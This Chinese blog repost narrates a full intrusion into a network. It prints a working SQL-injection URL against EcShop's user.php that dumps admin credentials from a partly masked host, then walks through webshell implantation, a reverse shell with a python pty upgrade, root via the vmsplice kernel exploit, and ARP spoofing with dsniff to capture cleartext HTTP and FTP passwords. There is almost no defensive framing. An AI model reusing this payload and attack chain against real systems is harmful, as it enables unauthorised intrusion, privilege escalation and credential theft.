最新消息:

Linux下渗透提权+嗅探技术

linux admin 5370浏览 0评论

文章来源:@网络安全攻防研究室

 

 

内 网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误 区。但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设置完全透明的状态。本文将从一个注点引发的突破,到控制整个内网的全过程来跟大家讨论,内 网的渗透嗅探术和安全防护一些内容。

 

在寻找突破时,更多的是从应用服务来, 而应用服务最直观的信息采集,就是端口扫描,不同的应用,开放的服务不一样。所以,在对网络进行信息收集时, 大概分为这样两步: 端口探测,程序指纹分析。在端口探测方面,个人喜欢用SuperScan来快速对网段里的应用进行判断,如图:

 

 

在掌握端口信息后,就要对服务应用程序的指纹进行分析,主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用流行的攻击方法等。本文试着对网内一台提供WEB服务的主机作为突破口,提交一个畸形的请求,如图:

 

 

从上图可以读取以下信息:


系统类型:Fedora


应用程序:apache/2.2.4


以上只是很简单的手工对程序指纹进行分析,当然在针对web应用的扫描器,还有很多,比较常用的wvs、appscan等。用轻量级的”wwwscan”来扫描:

 

 

由扫描的结果可以看到,与手工探测的结果是一致的。

 

通上面简单的信息收集后,可以了解到网站架构是apache+mysql+php,直接请求URL:http://61.67.xx.116/htdocs/

 

 

发现此站是EcShop架构的站点,其使用的版本信息是V2.5.0。EcShop的版本是存在许多的注入点的。其中user.php文件有个注入漏洞,直接请求URL如下:


http://61.67.xx.116/htdocs/user.php?act=order_query&order_sn=’ union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*

 

 

获取管理员帐号和密码,ECShop使用的是MD5加密,直接解密。原来密码是admin,有点意料之外。访问管理后台,修改模版处,插入一句木马,即可得到WEBSEHLL,如图:

 

 

在获取WEBshell权限后,就需要对系统进行分析,查找Exp了。执行命令如下:


#uname –a

 

返回的信息是“Linux fedora 2.6.20-1.2962.fc6 ”,Linux内核是2.6.20的。


在提权时,要用到gcc进行编译,刺探一下系统有没有安装,执行命令,
#gcc –help发现可以运行gcc,并且系统管理员没对使用shell和gcc进行限制,在也是个安全缺失。

 

在寻找本地提权利用程序时,通常是根据系统版本来进行,应用程序的本地提权也是一样的。在网上就有可供查询的网站,比如http://www.milw0rm.com/网站如图:

 

 

 

发现可利用的漏洞还真不少。

 

本地提权是需要个交互式的shell的。在本机监听端口如下:

 

利用WebShell自带的反弹功能直接连接本地的12345端口并返回shell如图:

 

 

连接成功后,就能得到一个apache用户的shell,但有时如果不能交互时,可以直接执行,

python –c  'impotr pty;pty.spawn("/bin/sh");'

来得到交互的Shell,一般的系统都默认安装python。如图:

 

 

提示成功了,可以新建个目录用来存放提权的工具。

 

 

在Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出等,比较常用的溢出率高的,当属内核了。用Wget下载溢出源码,用到的漏洞是Linux vmsplice Local Root Exploit,成功率蛮高的,gcc编译,执行,如图:

 

 

成功获取root权限,在选择溢出利用程序时,有时需要进行多次测试。

什 么是Sniffer,sniffer是利用截获目的的计算机通信,通过分析截获的数据,提取敏感信息的工具。但其通过什么方法来截获数据呢?在此 之前得解释一下arp(Address Rrsolution Protocol)协议,即地址解析协议,它位于TCP/IP协议栈中的低层协议,负责将某个IP地址解析成对应的MAC地址。它靠维持在内存中保存的一 张表来使IP得以在网络上被目标机器应答。在数据传送时,IP包里就有源IP地址、源MAC地址、目标IP地址,如果在ARP表中有相对应的MAC地点, 那么根据最优选择法,直接访问,如果,没有对应的地址,就要广播出去,在网内寻找对应的地址,如果对方的IP地址和发出的目标IP地址相同,那么对方会发 送MAC地址给源主机,,而此时,如果攻击者也接听到发送的IP地址,它就会仿冒目标主机的IP地址,然后返回自己的主机的MAC地址给源主机,因为源主 机发送的IP包没有包括目标主机的MAC地址,而ARP表里面又没有目标IP和目标MAC地址的对应表,就会接受攻击者的MAC而选择与其通信,所以就此 产生了ARP欺骗。在系统刚启动时,可以在DOS下输入命令“arp -a”来查看本机arp缓存表的内容,如图:

 

 

我们来与IP192.168.0.5进行通信,通信后arp缓存表就会有这样一条MAC地址和IP对应的记录。如图:

 

 

在本机多了条缓存中的IP和MAC的对应纪录。

 

Dsniff 是一个著名的网络嗅探工具包,其开发者是Dug Song,其开发的本意是用来揭示网络通信的不安全性,方便网络管理员对自己网络的审计,当然也包括渗透测试,其安装包里某此工具,充分揭示了协议的不安 全性。作为一个工具集,Dsniff包括的工具大致分为四类:


一、 纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnaf、msgsnarf、urlsnarf、webspy

 


二、 针对SSH和SSL的MITM“攻击”工具,包括sshmitm和webmitm

 


三、 发起主动欺骗的工具,包括:arpspoof、dnsspof、macof

 


四、 其它工具,包括tcpkill、tcpnice

 

Dsniff的官方下载:www.monkey.org/~dugsong/dsniff/ 这个是源码包,解压后可以看下README,提示需要五个软件的支持:openssl、Berkeley_db、libnet、libpca、libnids


下载地址如下:


Berkeley_db: http://www.oracle.com/technology/software/products/berkeley-db/index.html


libpcap: http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz
ftp://rpmfind.net/linux/epel/5/i386/dsniff-2.4-0.3.b1.el5.i386.rpm


ftp://rpmfind.net/linux/epel/5/i386/libnet-1.1.4-1.el5.i386.rpm


ftp://rpmfind.net/linux/epel/5/i386/libnids-1.23-1.el5.i386.rpm


系统一般默认都有安装openssl、libpcap。


Tar 包安装如果下载的是源包,文件如下:openssl-0.9.7i.tar.gz、libnids-1.18.tar.gz、libpcap- 0.7.2.tar.gz、libnet-1.0.2a.tar.gz、Berkeley db-4.7.25.tar.gz

 

a) 安装openssl


用tar解压软件包手,执行三条命令

 

#./config
#make
#make install

b) 安装libpcap
#./config
#make
#make install
c) 安装libnet
#./config
#make
#make install
d) 安装libnids
#./config
#make
#make install
e) 安装libnids
#./config
#make
#make install
f) 安装Berkeley DB
#.cd build_unix
#../dist/configure
#make
#make install
g) 安装dsniff
#./configure
#make
#make install
程序安装好后,先查看一下网卡信息,然后开启服务器IP转发,命令如下:
# echo "1" > /proc/sys/net/ipv4/ip_forward

 

先来双向欺骗,用到arpspoof,其命令是:


#arp –t 网关 欺骗主机IP


如图:

 

 

arpspoof已经开始工作了,可以用tcpdump查看一下被攻击主机是否有数据经过


命令如下:


#tcpdump –I eth0 host 61.67.x.115


如图:

 

 

有数据交换,说明欺骗的比较成功,然后用Dsniff开始嗅探目标主机,命令如下:


#Dsniff –c –f /etc/dsniff/dsniff.services


这个dsniff.services自然就是保存端口和服务对应关系的文件,如需要保存到文件,需加-w filename数据全是明文传送的。所以数据分析完全能用肉眼发现,如图:

 

 

从 这条数据可以看到HTTP登录和FTP登录信息,帐号和密码全是明文的。而经过测试,通过FTP上传的目录正是WEB目录,获取WEBShell 权限,继续提权即可控制主机。Linux下的嗅探,其实更容易一些,在最近爆出的高危本地提权,不知道有多少台主机沦陷呢?在攻与防的游戏里,系统管理员 往往显得如此的无助。

转载请注明:jinglingshu的博客 » Linux下渗透提权+嗅探技术


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. Excellent post. I definitely appreciate this site. Keep writing!
    nintendo forums4个月前 (12-06)回复